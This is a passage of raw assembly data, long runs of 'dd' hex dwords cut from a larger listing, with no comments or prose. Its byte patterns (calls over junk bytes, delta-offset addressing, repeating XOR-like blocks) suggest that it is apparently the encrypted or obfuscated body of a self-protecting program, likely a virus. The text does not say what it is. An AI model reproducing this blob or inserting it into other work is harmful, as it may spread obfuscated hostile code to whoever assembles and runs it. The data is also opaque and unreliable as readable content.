3D88C08h, 4F245543h, 1A9B1498h, 240431F1h dd 0E42DC31Ch, 74C43629h, 1A453E7Dh, 4FE9F5FBh, 5CE91017h dd 10E8h, 8FC2C800h, 92EAF28Fh, 337A209Ch, 0FC4627BBh dd 0DD8589B3h, 59061B0Ah, 0FDAB460h, 683h, 2DBD2900h, 61061B12h dd 649FC181h, 860F0000h, 6, 19C98589h, 0F633061Bh, 0A5BA6660h dd 0F38B661Dh, 0E34FF61h, 2415850Bh, 605B061Bh, 4D858951h dd 5B061B2Dh, 61F98B66h, 0CCD5F381h, 958B2910h, 61B29B9h dd 4CD4C381h, 9D8901A6h, 61B117Dh, 7E4BC381h, 0BF0F0EB0h dd 311C89C2h, 0AD77E081h, 0CE83CC5h, 0E0000000h, 30E34E49h dd 7CDDCFF1h, 0B4921221h, 0EE815A61h, 0A0C59EDh, 2D459589h dd 0C681061Bh, 0A0C59E9h, 1298D09h, 0FE81061Bh, 0FFFF9C20h dd 0FF87850Fh, 958BFFFFh, 61B0E11h, 0B13EE853h, 0F332565Dh dd 0F30666ACh, 0B1325655h, 0B13256ABh, 0E977F2D5h, 0E8AF18EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132545Dh, 0B63581AEh, 0AB325257h, 0A53244ABh, 4C3251D5h dd 0F73256E8h, 0F7325677h, 0B132EEB8h, 0B132565Dh, 7171A4AEh dd 5DAD68AEh, 69891C1Eh, 35A540E4h, 0BE01F487h, 0B126BF44h dd 942E56BAh, 103AFDA7h, 6C86D168h, 68127505h, 247E2935h dd 0E968CD7Fh, 0A3DA36BAh, 0B3325675h, 0FF7B06A9h, 0EB372A32h dd 97B33E25h, 38F4230h, 0EAC6DCA8h, 2753805Eh, 0F713DEEAh dd 636F6272h, 0AF6BF619h, 9B279AA2h, 0E96837B5h, 0D16006C4h dd 0D10359CAh, 0BE6A0CB4h, 0B122BFDBh, 208A5675h, 7C56A14Ch dd 78E2C5DFh, 34CEB960h, 0E9685D8Dh, 9A2E5D3Ch, 5A080EB4h dd 0D1525661h, 69B993C6h, 0B13FBFDBh, 763565Dh, 0F3BF7219h dd 3FBBC604h, 0D077EA04h, 0B516125Ch, 0B1325003h, 0E5953075h dd 0E971A447h, 0EB53BF1Fh, 82900EF6h, 3EDC3FA7h, 305473B7h dd 587D5E1Ch, 0B13256ECh, 6C86D1B3h, 0D0AF75E8h, 0BDA20E07h dd 0E9693CFBh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh dd 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h dd 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh dd 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh, 0B1325675h dd 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h, 0B13256ABh dd 0B13256D5h, 0B13256EAh, 0B1325675h, 0B13256BAh, 0B132565Dh dd 0B13256AEh, 0B1325657h, 0B13256ABh, 0B13256D5h, 0B13256EAh dd 0B1325675h, 0B13256BAh, 0B132565Dh, 0B13256AEh, 0B1325657h dd 0B13256ABh, 0B13256D5h, 0B1DA36EAh, 0EB325675h, 8F20BC3Bh dd 34BF507Ch, 0B7122601h, 8A5AD4DEh, 33BF508Ah, 0B7139E8Ch dd 8A5ED463h, 0FFDA5054h, 593256B3h, 0B1325626h, 8A6AD469h dd 0B1325076h, 776056ABh, 0AA11CB50h, 0E35A00ECh, 4EAEFECDh dd 0AA1D470Fh, 0F7B7DB5Bh, 4E3448DEh, 80B7DF87h, 0DB344DB1h dd 0A1323ED1h, 0F15A56EAh, 0DB325578h, 0EBE2A9BAh, 82469656h dd 8A6AD427h, 33BB5076h, 0B7136DF7h, 0B23F166Ch, 82CADDEAh dd 0E398A5B5h, 0B15A52D0h, 0D932564Dh, 0B13252AEh, 23CD563Dh dd 0B7294C9Ah, 1DB0DF8Fh, 0D03477D1h, 8A6AD3FEh, 0D1F1509Bh dd 0A227D49Ah, 0B13250B5h, 33F55617h, 0B7294E26h, 0B13246D5h dd 3A52958Bh, 90090ECFh, 0B10DD5BCh, 0CEB17529h, 0BA4654BEh dd 0B52229D4h, 76B158DFh, 76D8BDC1h, 0B13346ADh, 43D95675h dd 0B222117Dh, 5A32565Dh, 0E4F13747h, 5952BADCh, 0B13256ABh dd 0B6D8D78Fh, 3A3477D5h, 9009E6C7h, 0B977DDBCh, 33B150D4h dd 0B7136D1Eh, 73FB3753h, 595256AFh, 0B13256D5h, 9AD8D7B0h dd 3A34774Ah, 9009FA08h, 1806D5Bh, 0C5347795h, 3A0CDD6Ch dd 0FE845974h, 0B075A0D4h, 0B236236Ah, 9A30BDACh, 3A711563h dd 0AA383BD8h, 0A8BFDDA8h, 8A344D5Dh, 8A3B2473h, 3237210Ch dd 78D9522Ch, 0B946994Eh, 0BB2BEB33h, 6D95046h, 595295CFh dd 0B1325657h, 32D8D7F1h, 3A3477EAh, 9009FA50h, 0B032EF73h dd 710156BAh, 33B9FDAEh, 0B7136D02h, 8A82D4DEh, 7253508Ah dd 0B132BEB5h, 306856EAh, 900DFB9Fh, 2CB790BCh, 0E7344D7Eh dd 0AE5F6FC6h, 0A087A983h, 3C344D84h, 0AF421050h, 0E3E2A9ECh dd 31323E25h, 0B15856BAh, 8A6AE4A2h, 61CD508Fh, 0B15A0C0Fh dd 0DB32562Bh, 1D80A9D5h, 4E3477D1h, 0E4F137A5h, 5952BA31h dd 0B132565Dh, 4AD8D7F4h, 3A347768h, 29DA5EDEh, 0E43256D7h dd 8A5AC415h, 8A6F5054h, 5F475ACFh, 0B130D0B5h, 73FB37AEh dd 3A67565Fh, 4DF6D547h, 59610183h, 0B13256EAh, 9ED8D72Fh dd 3A3477FAh, 0CCB95E28h, 596401BEh, 0B1325660h, 904696A0h dd 4E67AE5Eh, 90093E78h, 0C4090B73h, 0D72022B6h, 56B248D6h dd 312CDC5Eh, 2CDAA6B4h, 5A3256ADh, 4D4FDF01h, 4ECC0B02h dd 0EF6D0D8Ah, 78CE1331h, 0E4325A9Fh, 75B1BA25h, 0E06401AFh dd 497791F8h, 0B13256D5h, 8AAAD42Dh, 0B1335054h, 0C4B956BAh dd 0AFB93055h, 8A6AEC25h, 0EEB95076h, 0C5E95DA3h, 0C4EC6DDAh dd 0BD6FDDECh, 323E09FCh, 5BD9427Dh, 312CDD3Bh, 353DBE55h dd 0B1325699h, 0BEDBAD2Bh, 0B1329351h, 5AC9D6EAh, 0B18ED27Ah dd 4AB256BAh, 1DB659BFh, 313256AEh, 353DB5ACh, 0B1325631h dd 0D6C9D7B3h, 29B65909h, 31325675h, 3054A65Dh, 0BEB259A6h dd 0B132C72Ah, 41D1D657h, 0BE42AD2Bh, 0B132D351h, 0AFB930EAh dd 31CAB5F5h, 0F346EE41h, 0C53768DDh, 9C0CD693h, 8FB26E23h dd 4E0122C3h, 9009CE57h, 0AFB930ECh, 0D7CAB1F5h, 59B3AD3Bh dd 3A547629h, 41D5D6B0h, 30C9D731h, 0D121226Bh, 0D9A0A980h dd 0EC3477D1h, 0D0CE13FCh, 0B0CE2B39h, 0BB93528h, 0B72945BBh dd 29B0DD07h, 88347790h, 0C36A66E9h, 3C88DDBAh, 0E1344D6Dh dd 8AAAD431h, 8D0B507Ch, 8C4D0E9Eh, 0F4F546BCh, 0B1325453h dd 7635BDD5h, 0B133AEAFh, 0BB95675h, 0B7136DE2h, 6A3949D6h dd 6F0949DAh, 0ECB95922h, 494FD5A7h, 0B23122D5h, 0EEBBAEB7h dd 0A5F5D571h, 7101B451h, 0B13296B4h, 0AFB930AEh, 313E2BDCh dd 0BB46BD50h, 31C2B555h, 0A7462611h, 0B6F4649Eh, 0B0759153h dd 0B132565Dh, 71B19125h, 0B1A5BF52h, 765456ABh, 3B3A59D2h dd 0BED1D6F4h, 39B29DF5h, 0F6F557E5h, 0B132565Fh, 32F5DDAEh dd 0C8D95097h, 210CD7CDh, 313D2245h, 0BF47C6D4h, 4E4CD713h dd 0B346C62Ah, 76B952B6h, 33BF0945h, 0B7136DE3h, 23CD00FBh dd 0B7136DB9h, 0BB4696E1h, 3BF9EFEh, 0B7136D0Eh, 3A6446B6h dd 23CD0360h, 0B7136D3Fh, 46FC7DF6h, 0CCB1080Ch, 0A1475712h dd 0D7981FC5h, 0D7B75902h, 0F78459F6h, 0AAD9FDAFh, 0B3CA2BD4h dd 95445DEh, 1A549FDEh, 353DEE8Ch, 73DFD13h, 5A9957FCh dd 3A96A55Fh, 0EF6B0D69h, 0B9F09F08h, 5DB903ABh, 0B132BEB5h dd 306856EAh, 9070DB9Fh, 0B977DDBCh, 8A52D4D4h, 7853508Fh dd 0E4325295h, 75B1BA20h, 0B1DA362Dh, 0EB3256EAh, 0F39CBCF4h dd 0F4F5509Bh, 0B13256A5h, 4D7791AEh, 0B1325657h, 3A549698h dd 29B091CBh, 0B03477D1h, 0D7325675h, 21A2AD3Bh, 4AB25628h dd 0B9B65946h, 0F1325656h, 0BEDBAD2Bh, 0B132A851h, 4AB216EAh dd 45B6599Eh, 0F13256BAh, 0D7C2B1DDh, 313DAD2Fh, 0B1D7D258h dd 333156ABh, 0B7295EB4h, 53C9D6AAh, 0B1FCD27Ah, 4AB256BAh dd 0DB659BEh, 0D73256AEh, 5255ADD6h, 0B188D2A4h, 52B256D5h dd 0C1C9D61Ah, 0B187D27Ah, 3A5456BAh, 49D1D643h, 0C58AAD2Eh dd 0B40CD610h, 8FB214DFh, 310F22F8h, 89463ED4h, 29B0A935h dd 0D7347781h, 56B248D6h, 4AB33056h, 9546BED6h, 312CDDCDh dd 3054A632h, 0C5F2D711h, 4E673662h, 90093E28h, 0F4BB0B5Bh dd 0CCB13752h, 343D57ABh, 0B1325783h, 0A227EC5Eh, 3A6250F1h dd 9009CEF7h, 810E6FBCh, 0A0B05905h, 3A3256AFh, 0AA2ADBEDh dd 33B906ADh, 0B7136D4Dh, 0E9026AD3h, 0B1C8D97Ah, 0BB956BAh dd 0B7136D01h, 8A6ED42Dh, 38265076h, 0A175DF9Ch, 29B0DD85h dd 3A3477D1h, 386A6669h, 64DB5EE5h, 7632565Dh, 0B130AEEBh dd 0B6D95657h, 0B0CA136Ch, 3A3256D5h, 90090A50h, 0EDB0D573h dd 0A5347781h, 0F6BB61D4h, 0B2CAD5BEh, 33F55A22h, 0B7136D33h dd 0B13256D7h, 49B15301h, 326D2B77h, 0C532AEC7h, 0F7845946h dd 0B1B2FFAFh, 0B7475657h, 0B4DAD5EBh, 4E1F5E3Eh, 323256EAh dd 0BAD9539Dh, 29A8DDE9h, 3A347766h, 186965AAh, 31325657h dd 773142DEh, 0B2379656h, 9009CE68h, 0F6BB1E73h, 0BD75DFB2h dd 69C500B6h, 69C59085h, 0B23796D4h, 9009CE29h, 0F6BB1ED3h dd 0BD75DFE2h, 7101689Eh, 19331030h, 0B21323DDh, 0B3F2D568h dd 0B13257ECh, 0C5E95DABh, 82A8DCDCh, 31347695h, 72315796h dd 383A1133h, 0A5D95A1Ah, 4E178E59h, 9A325657h, 32EAA16Dh dd 0F6BB5415h, 0BD75DFE2h, 72FB378Dh, 32DEDDEFh, 5952AA99h dd 0B13256AEh, 0ED8D70Dh, 3A3477EFh, 90090E6Fh, 32FB65ECh dd 353D564Ah, 0B1325678h, 0C4CD51D6h, 0B947A9A2h, 0B041BE07h dd 0B44156ABh, 5A269156h, 4D77DF08h, 4E3E238Ah, 86CD5ECFh dd 0B1330AB5h, 26B059AEh, 3A325657h, 0B60BAAEEh, 0B1BED4DAh dd 0F4CD56EAh, 0B54DD589h, 323A22BAh, 0C5325A22h, 93CBDACh dd 4ECDA9A8h, 0B1325312h, 5A99A5D5h, 0A14DD529h, 323D2270h dd 0C43446C5h, 0F6B9174Ch, 0BD6DDDAAh, 0F6B915BCh, 0BD6DDDAFh dd 0F6B96F3Eh, 0BD6DDDEEh, 0C43A094Eh, 0E6B904AFh, 0A1677D59h dd 3A2603ADh, 6B195A08h, 0EB37BD28h, 0F6B9443Eh, 0BD6DDDEEh dd 3236095Eh, 3B315351h, 0B7295964h, 0B222292Dh, 9A735722h dd 0B06EDF72h, 4ECDEED4h, 0B48BA915h, 42325675h, 4E64BF11h dd 7853A9A2h, 0E432466Ch, 75B1BADCh, 0B1DA3657h, 0EB3256D5h dd 0F498BC6Bh, 0BB95054h, 0B7136DE2h, 8EB19F6Eh, 20B659AEh dd 3A325657h, 0BD47A9ACh, 0E13A232Ah, 0B132DE02h, 32372575h dd 53D9427Dh, 4ECE13D4h, 0C4CD5ADBh, 5905A95Fh, 0B13256DAh dd 0F4B93CA7h, 0C3356F16h, 4D77A916h, 0B1362939h, 0CEB15E29h dd 0B34656A2h, 4E8A58BCh, 8CDA954h, 0B13256D0h, 7AD9FD19h dd 0B42229F6h, 0CEB159CEh, 0A047504Dh, 0B575DDEFh, 5A3E09DCh dd 0B575DDB6h, 5A3E095Eh, 0B575DDF9h, 9A3E09FEh, 5AB152E5h dd 0A14DD558h, 0F03323ADh, 0EDBB8F7Ch, 4E8A57AAh, 8CDA92Ah dd 0B13256EFh, 36D9FD86h, 0B9F09FDBh, 5DB9035Dh, 0B977DDCEh dd 0C33E136Ch, 0A1776DA3h, 5ACA55A2h, 0B1D9AFE9h, 0BDF09F14h dd 5DB903BAh, 0D1CE92DEh, 0B1325646h, 5BB30C57h, 0B713102Bh dd 6A019FE6h, 3ACE0B63h, 90090ECFh, 0B10DD5BCh, 8EB13229h dd 32372351h, 40D94290h, 0B1362928h, 0CEB15EA1h, 0B34656E6h dd 0F4CD5E9Eh, 0A5F5D546h, 0CEB18DB6h, 0BE4653BEh, 0B72229D4h dd 3A7347DEh, 0EEB95292h, 3A2FBDE6h, 0EEB95232h, 3A21BDB6h dd 0EEB9521Ah, 0B56D7DA2h, 3237BDD4h, 0C43146D4h, 681917D4h dd 0B0330A63h, 4ECDA9CDh, 0B137EF45h, 1AC1565Dh, 3A53C145h dd 72FBAA12h, 596107FBh, 0B13256D5h, 0BAD8D7B0h, 3C347732h dd 90092620h, 0B156EE5Bh, 63DA56AEh, 3A325657h, 5AF36DA0h dd 0B57955C1h, 0A64097D1h, 8A221D76h, 5A30247Bh, 5A26BD5Fh dd 1DA8DBBCh, 4E3477E4h, 3C3ABD78h, 9084844Fh, 0EAE1A9ECh dd 0E4F10E2Ch, 0B1DABA31h, 0EB32565Dh, 0F668BC2Fh, 3C525076h dd 90092611h, 0B977DDD3h, 0F4B95163h, 0B575DF79h, 38221331h dd 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh, 0B7297548h dd 0C2283EADh, 4CDFE62h, 0B72979ABh, 0C174D3D0h, 61CD50B0h dd 2DB8DB05h, 0E0347790h, 3C68862Ah, 9009CA68h, 0F1855973h dd 0E3EADDB6h, 0B2686752h, 0FCB0DF6Dh, 0D0344D43h, 0E85251C3h dd 0 dd 0CBEA815Ah, 52062147h, 144D828Bh, 6DB9061Bh, 0F741C64Eh dd 39055AE1h, 25000030h, 7FFFFFFFh, 144D8289h, 595A061Bh dd 0E85251C3h, 0 dd 0FBEA815Ah, 8B062147h, 0FFBBE8C8h, 0D233FFFFh, 0C28BF1F7h dd 8BC3595Ah, 8DC08BC0h, 213E0C85h, 66D0FF06h, 858DC18Bh dd 62147C4h, 1958589h, 858D061Bh, 62147F4h, 0E798589h dd 0B8061Bh, 0B000000h, 47840FC0h, 0C6000000h, 1B239D85h dd 0DF685606h, 0FFA9C530h, 1B2F11B5h, 46858D06h, 0FF061E70h dd 8D8D50D0h, 61B24F1h, 68046A51h, 1000h, 1F15B5FFh, 0D0FF061Bh dd 1F15BD8Bh, 7F03061Bh, 0F8C7813Ch, 0C7000000h, 202447h dd 9D8D6000h, 61B0C51h, 0C00B038Bh, 5840Fh, 8B0000h, 0B9044389h dd 234CF6h, 49A18D8Dh, 6A0621h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 17DA4BC3h, 0E900EDF5h dd 0D58589ACh, 66061B2Fh, 53CBC281h, 24298D89h, 8166061Bh dd 0F28FCD3h, 389h, 0F28B6600h, 76585C7h, 6A50061Bh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 85C793C3h, 61B13D1h, 0 dd 29EDB58Bh, 0B5FF061Bh, 61B07B5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0F6C35141h, 0F3D1F8A5h, 0BD013D07h dd 61B1139h, 0B5BD8B51h, 5F061B2Dh, 0FE9h, 1D6F9400h, 5F24E592h dd 0B50CA582h, 5F8F12ECh, 2F8595FFh, 6A061Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 858952C3h dd 61B302Dh, 6AD88B66h, 595FF00h, 8B061B22h, 313DEBC0h dd 0EE111661h, 0E1219D75h, 1FB95670h, 9656C769h, 27AF56FEh dd 2123AA8Ah, 0E1E511EFh, 0F09D6ACCh, 0DC55EBA4h, 2F884F14h dd 53EB7AA8h, 0A2B48B87h, 0F6B64A10h, 766BD5F1h, 199FD24Eh dd 4AE48D8Dh, 6A0621h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 331836C3h, 66548A51h, 8D89D68Bh dd 61B2429h, 8145EE81h, 85C73CC3h, 61B0765h, 7250h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 18C35545h, 0E1D41B14h dd 7F1D2A2Dh, 0BE9B6h, 8E40000h, 459FEE9Bh, 47A7CBA1h dd 0D185C746h, 61B13h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 483EC350h dd 6E6199DCh, 57349FD7h, 12F58D89h, 0F5E061Bh, 0B5FFD1BFh dd 61B0399h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Dh, 3C35343h, 3165C884h, 5D34FDD0h, 31B589F2h, 0FF061B2Fh dd 1B2F8595h, 10E906h, 0F1F30000h, 283F1E08h, 6E927C58h dd 8817F742h, 6AF807h, 220595FFh, 0C08B061Bh, 51131FEBh dd 89CAFFEAh, 0C4A66C9h, 0DFA61F50h, 9169F162h, 9ADA1409h dd 0B6350049h, 94B748CFh, 0C108EB0Ah, 337E0Bh, 0E9000000h dd 0B5Bh, 214C8368h, 0FAC2E906h, 7E68FFFAh, 0E906214Dh dd 0FFFAFAB8h, 214F5368h, 0FAAEE906h, 2368FFFAh, 0E9062150h dd 0FFFAFAA4h, 2151DA68h, 0FA9AE906h, 5B68FFFAh, 0E9062153h dd 0FFFAFA90h, 2154AA68h, 0FA86E906h, 0EDD6FFFAh, 0C3789967h dd 0E2DAB789h, 0BF7D8E64h, 0E9D4B58Bh, 0BE429967h, 0B68CC47Fh dd 8B65E9D5h, 0B48EC47Eh, 9260E8D7h, 3D3B57C8h, 0C64AF0E9h dd 0C33995Dh, 7E3D3E3Ch, 720CF8CAh, 0A2A7BB2Ch, 0CF52CCC5h dd 25579167h, 544ACA81h, 3667C987h, 9E50CAB8h, 2Dh, 347A2448h dd 0B322AFA3h, 88EF52CCh, 0CA93E29Ah, 178DE94Ah, 5DF1CD8Eh dd 5777147h, 744ACA93h, 1687E967h, 7E50CAAEh, 0EFh, 3C0C3328h dd 0CE823D3Eh, 38102FECh, 17968D42h, 8FE85623h, 0E6C7B5ADh dd 0AA0C4CD1h, 4A712A3Ch, 0EAC090B3h, 0A0361229h, 0E65D1B37h dd 30A64CD1h, 9C0BCCA6h, 0D1E6F686h, 8B99FD4Ch, 0D1E2B195h dd 8DBB824Ch, 0DEE7D6B3h, 163ABA93h, 6644D257h, 29BE0496h dd 0CCB02039h, 988AED52h, 4ACA80E0h, 27198BEBh, 0DF109DB6h dd 3BC9A933h, 6E376129h, 0D6E50B5Ch, 2FEBF8DBh, 2C54A617h dd 0E671E670h, 0D1B6171h, 76E04ACAh, 0E7DD7260h, 2E8854DDh dd 71DFE2B9h, 0A1AF927Fh, 0EAE39711h, 0EFB0025Dh, 912h dd 0EBC58FB0h, 552B211Eh, 0F0C28434h, 532D1D23h, 0EBC58B36h dd 122D10E8h, 7B47443Eh, 122CDDD3h, 9AA17240h, 99FED4AEh dd 0F0EEF389h, 0D3ABF84Ah, 45F51033h, 5A5AF37Eh, 24B28DF6h dd 0F4D99FB3h, 0B4224CD1h, 7C435022h, 2400F6CCh, 79D5E97Ah dd 0A286F6ECh, 0E94D4CD1h, 9E7DEA7Bh, 0A8BAACA2h, 52CCB33Bh dd 0A09A9006h, 4ACA93DCh, 0C022BECDh, 50CAAE5Dh, 0BBC5h dd 0C33EF00h, 823D3E3Ch, 2D4A59CEh, 58FAC41Dh, 2BCDF04Bh dd 0D1394137h, 0BA2C8A4Ch, 0B294CEACh, 814CD13Dh, 42198EBAh dd 79EBCD7Bh, 0C574956Bh, 0C3D5A583h, 3DFA657Eh, 95BDCF51h dd 0D138FD7Bh, 5DEBD24Ch, 47D046B0h, 0CC254E4Bh, 0DE35352h dd 90054BEDh, 0DDF2E282h, 5B620954h, 126A78EDh, 0D94CD7B6h dd 0E97EE77Dh, 57DF9EFAh, 4056CC9Ch, 0AA98B88Bh, 0CA7AD6E9h dd 5DEB9348h, 17808563h, 0B5000008h, 997A480Ch, 0B9DAA8A4h dd 9E6B4501h, 0BBD8AAA0h, 637A4808h, 0ADA39E9Fh, 440AB6D3h dd 0AFA39D6Eh, 5FE9D0C1h, 3C56C791h, 4AF0EF3Ch, 339A5CC7h dd 0A1724010h, 0A2D4AE9Ah, 3E3C0C33h, 0C47F7E3Dh, 45CF7B41h dd 7721E1CFh, 81AEA431h, 0D452CCC3h, 83096F63h, 19D24ACAh dd 9C522824h, 0DD9E9C0Ah, 0C7986ADEh, 13153704h, 0E7D6B3A1h dd 0F5D68761h, 0FE140246h, 0D214E49Dh, 0B2F0688Dh, 0D4A4BE8Bh dd 1FCD8CA0h, 0A0D2AAB8h, 0BD19CD8Ch, 0BF28BD27h, 0E3DB5EA4h dd 756B6859h, 0CD8C0907h, 867C6ACCh, 644FAD1h, 0E7A4B224h dd 407A70D8h, 0CD8C093Bh, 19571102h, 64E4DB22h, 6C46D086h dd 0D2A8A09Fh, 0F5DAC798h, 0AF29D2FDh, 92392ABDh, 511FD923h dd 278DEBE5h, 0E0563273h, 271D5B77h, 70E63273h, 0B296A566h dd 5CECD3C0h, 222C10CBh, 0D4744B48h, 0E0F660D6h, 153E550Ah dd 0A2BA6C4Ah, 0EECC843Fh, 14F8EE78h, 24B3246Ah, 97A95C67h dd 0A6BC29BBh, 3273F3D6h, 0B5ABB91Dh, 2C6EDB8Ch, 9D9D7EE9h dd 0EBC1B7A9h, 0AC0A3468h, 0CFA115BAh, 0D24389B3h, 75C7C7C0h dd 3E1D8A2Ah, 7CF2C87Eh, 73F71666h, 0B7F6DD32h, 6ACF360Bh dd 0EC918311h, 0C1BAB08Ah, 0B23273C8h, 64C92BA5h, 1DD84371h dd 0D7CB803Eh, 3273D0A1h, 4C5ACC2Ah, 38B8Ah, 0C06A3C00h dd 0E075BBDDh, 0CCC60DF2h, 0AF7ED852h, 54FCC784h, 77EC5042h dd 0A34CBCCh, 0A3F53C4h, 0B7D5D930h, 250345F4h, 924325AFh dd 7C6F0D05h, 274CDDFh, 7CFF7D95h, 9204CDDFh, 60A6B884h dd 2C53DBF7h, 0B224D3C9h, 0E1D9B225h, 502A281Ah, 0BC32089Eh dd 7ECAF1AAh, 90B88784h, 0F58878E4h, 0E0A503E4h, 642h dd 7B75DFE0h, 0A59BB18Eh, 8072D4E4h, 0A39DAD93h, 7B75DBE6h dd 0C27DC058h, 0EBD7B48Eh, 0C27C8D63h, 0CAF1A290h, 49CE847Eh dd 0F0ED2359h, 835BA84Ah, 0A3347A24h, 0CCC386AFh, 8563D352h dd 9593B584h, 65061DB6h, 0AC171C56h, 16D2B7ADh, 0F1596724h dd 3F4C45F7h, 309582FDh, 0EB8D7D67h, 152230A5h, 6054D76Eh dd 96AA61F6h, 3D4AEB8h, 0A467DD10h, 0F7EDAAE7h, 4B2D1B22h dd 0AF8E6F4Eh, 0B72D9F99h, 856330C1h, 0E2D07847h, 0E564A00Dh dd 2920856h, 24BE0000h, 0E8A3347Ah, 5F5D76D0h, 0A16EE20Eh dd 0C7DB4C5Ah, 52F2E3A7h, 8A41D640h, 0EAA799B7h, 497F79D7h dd 7A890416h, 7C8E382Bh, 66359CD3h, 0A4A49B70h, 0C388AE10h dd 0CACB1D57h, 572h, 4B252F10h, 0F5CB813Eh, 50222414h dd 0F3CD7D43h, 4B252B16h, 724DF008h, 1B27E4DEh, 724C3D33h dd 3A0112E0h, 399E340Eh, 0F0F25329h, 334B984Ah, 0A3347A24h dd 0A25E1E34h, 31A54CD1h, 12E86258h, 0C5DD4A5Ch, 52F2DDA1h dd 0F044455Eh, 0E8FF1E7Fh, 0A29A51FEh, 8610C6A4h, 70D8E7A4h dd 9EAA9182h, 68E0DF9Ch, 9EAA9192h, 41372B9Ch, 8A4AF05Fh dd 0FA526F2Ch, 0F9D72400h, 0AC6B506h, 655BEDCCh, 0C3E21D80h dd 1CA8550h, 7F2F0000h, 0CDAB9D9Ch, 6D4C0D17h, 3AA4F758h dd 1E1EA66Fh, 0A9C5228h, 0DEDD9E9Ch, 0CB3814E7h, 0C3517977h dd 256B0DEDh, 0A3A9A2B0h, 2FEC52CCh, 883D3B13h, 0CAE7E29Ah dd 178DE94Ah, 0EBCD7B42h, 74E26B79h, 7556C176h, 3BB187CBh dd 0CAE75725h, 0AD3A9C4Ah, 0CAE7C7B5h, 0BCAA0C4Ah, 0CAE7D2A6h dd 20B8BF4Ah, 0CA964FBEh, 27B750h, 24ED0000h, 0E8A3347Ah dd 0CC8278D2h, 0CC554DDAh, 0D152CCB3h, 2B4D8365h, 564ACA93h dd 875D791h, 7050CAAEh, 0E2h, 3C0C3326h, 0EFD2893Eh, 0AB967361h dd 112C3A5h, 0F7698312h, 82C4DDB5h, 89FEBF3Fh, 3EFDDEC8h dd 190A9D0Ah, 0DC4F0B0Ch, 0FC7C96CEh, 74CD155h, 32A3858Fh dd 7CE96559h, 0D1551666h, 6B79DD4Ch, 0C7B98FAEh, 0EB918116h dd 0F04CD155h, 0AC829086h, 874CD151h, 0E2A290B8h, 0EDE572B8h dd 52C6B515h, 2F4D45D2h, 0B44ACCF2h, 4BAB5442h, 4CD4C9DAh dd 0B3733137h, 666DD79Eh, 5046628Ah, 173904C7h, 0FC556829h dd 0CC8496E6h, 3612294Ah, 0BB72D89h, 640200A5h, 0BBBDC210h dd 59000003h, 0F516EC68h, 5D2E0448h, 0FA17E95Dh, 5F2C0644h dd 0BF16EC64h, 113F023Bh, 4E721Fh, 0F35F6132h, 1B2D0CFDh dd 382AAB25h, 4AF0F340h, 3326388Bh, 0ED724010h, 6D39F4F6h dd 0D6C04EFEh, 950246F5h, 52440AB6h, 0C339E60h, 7E3D3E3Ch dd 720CF8CAh, 6072DDE1h, 4CD1A218h, 7E173E3h, 3C56BF55h dd 52CC8A77h, 0A49E9CFAh, 4ACABAD6h, 5DAA2655h, 8B5B723Bh dd 884FB4E2h, 0A899891Eh, 0B554D7FEh, 0CE285042h, 43B34CD1h dd 0E97EDFD1h, 54DC4FAh, 0C4DEF6F8h, 4CD147B4h, 0F7CDD73Fh dd 3E3C0C33h, 0D7CB7E3Dh, 4CD1A2A1h, 0A50D5CBEh, 0BB44938Ah dd 0FD0D465Bh, 8AEECA44h, 4456261Ch, 707969FEh, 1D52CC3Eh dd 6B7B546Eh, 46D7F2CCh, 84118311h, 0DD95A68Fh, 1A0C2942h dd 4562A20h, 34434ACAh, 34D33A9Ch, 233B50CAh, 69000000h dd 0A3347A24h, 0CCB322AFh, 823CEF52h, 6E6446D0h, 4ACA930Ah dd 96F87077h, 50CAAE67h, 0DCCFh, 647F0500h, 0C1996440h dd 40190B39h, 18D9CF79h, 4C4D2B25h, 0A3AD906Dh, 833A3731h dd 0C1E5EBC5h, 724CD13Ch, 0B368FD4Bh, 74EAC090h, 0BC839062h dd 0DB081B8Ch, 0EF7E9E4Fh, 86565442h, 2939AEF4h, 52CC2F40h dd 4A00BE6Dh, 8416E6DCh, 0CA7FCFF3h, 58CD57F5h, 0DD84A24Ah dd 78ED4954h, 0A3B1A1A3h, 0EA665932h, 848FB18h, 0EB461E7Ch dd 7A7B4D5Dh, 23Ah, 936DE7D8h, 0AD83C976h, 986ADCDCh, 0AB85C57Bh dd 936DE3DEh, 0BA85B840h, 0D3EF9C96h, 0BA84857Bh, 0D2E9AA98h dd 41D67C76h, 0F0F12B51h, 8B53B04Ah, 51411033h, 4CD1A22Bh dd 0B78546B0h, 0B51F9593h, 